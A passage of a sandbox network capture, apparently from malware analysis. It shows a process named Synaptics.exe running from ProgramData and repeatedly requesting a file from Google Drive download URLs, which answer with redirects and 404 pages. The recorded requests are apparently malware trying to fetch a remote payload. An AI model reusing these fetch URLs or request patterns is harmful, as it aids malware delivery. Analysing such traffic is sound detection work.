Connection: close
2024-07-25 19:55:09 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:09 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 74 46 46 53 71 36 35 6e 66 38 45 64 32 68 53 63 72 59 46 63 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="8tFFSq65nf8Ed2hScrYFcQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:09 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49779	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:10 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=qiwzkR3xasI2its3pexqnhZSbYZQe_3_6JsC4tTNXGitNeI2ku4Fk3eHoxMuQJHTO1N0HIGN31nGe80YlH6c2BDEHlHaMPVtrU7pIdDQDEnEPmAm0iwZn0gkSteDveLTM0o3EqdYgJNUsgsPQ3GLJI2NvPQx-taNlTNUEFRH1wI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49778	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:10 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=qiwzkR3xasI2its3pexqnhZSbYZQe_3_6JsC4tTNXGitNeI2ku4Fk3eHoxMuQJHTO1N0HIGN31nGe80YlH6c2BDEHlHaMPVtrU7pIdDQDEnEPmAm0iwZn0gkSteDveLTM0o3EqdYgJNUsgsPQ3GLJI2NvPQx-taNlTNUEFRH1wI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49780	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:10 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49783	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:11 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
2024-07-25 19:55:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:11 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-kAJ1e_OuCopxAEnm6UUnkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49782	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:11 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
2024-07-25 19:55:11 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:11 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6XNOyMYaPIZxo6q2JUd08w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49786	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:12 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:13 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:13 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-zfJPO2Xx6AXliB7Maeh6dw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nO530f6emShmiz_drqslHsxA7zseqTkYiXWsOJQE5iUZkPh5T39yMZODXTWKxsCH8YxU__R4-k2vQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:13 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:13 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 5f 35 76 65 36 38 41 46 62 39 4a 4e 75 32 2d 50 38 41 6d 4a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="z_5ve68AFb9JNu2-P8AmJw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:13 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49785	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:12 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:13 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:13 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-HY9TogMlJjlsB61pdMqGNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1642 X-GUploader-UploadID: AHxI1nMVU6Krc7HsoM8ABzjcUoC6Jg2k8EmvZ_JS4KWoSASy2RDxkatD8maGDXTHe9HmYhXeNMs Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:13 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:13 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 32 35 4f 6c 31 4d 41 53 4c 46 6b 71 31 5f 54 5f 45 6c 65 5f 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="j25Ol1MASLFkq1_T_Ele_g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:13 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49787	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:12 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
2024-07-25 19:55:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VDJBp0Fckb9cdCb_akcFNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49784	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:12 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
2024-07-25 19:55:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_dxsqI0-wJgzeEe1ZUCG8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49793	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:13 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:14 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:14 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-AreKgBHQBSGHzS31rb50Lg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPgJ4kB6QHAPlC2yfYHbB5i5IC39V6SISndecJrHqtMlywo6ruET5poJbIgu0DZHeGDWRU Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:14 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:14 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 45 6e 41 70 49 59 31 62 79 62 66 52 43 32 41 4f 78 35 71 69 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="IEnApIY1bybfRC2AOx5qiw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
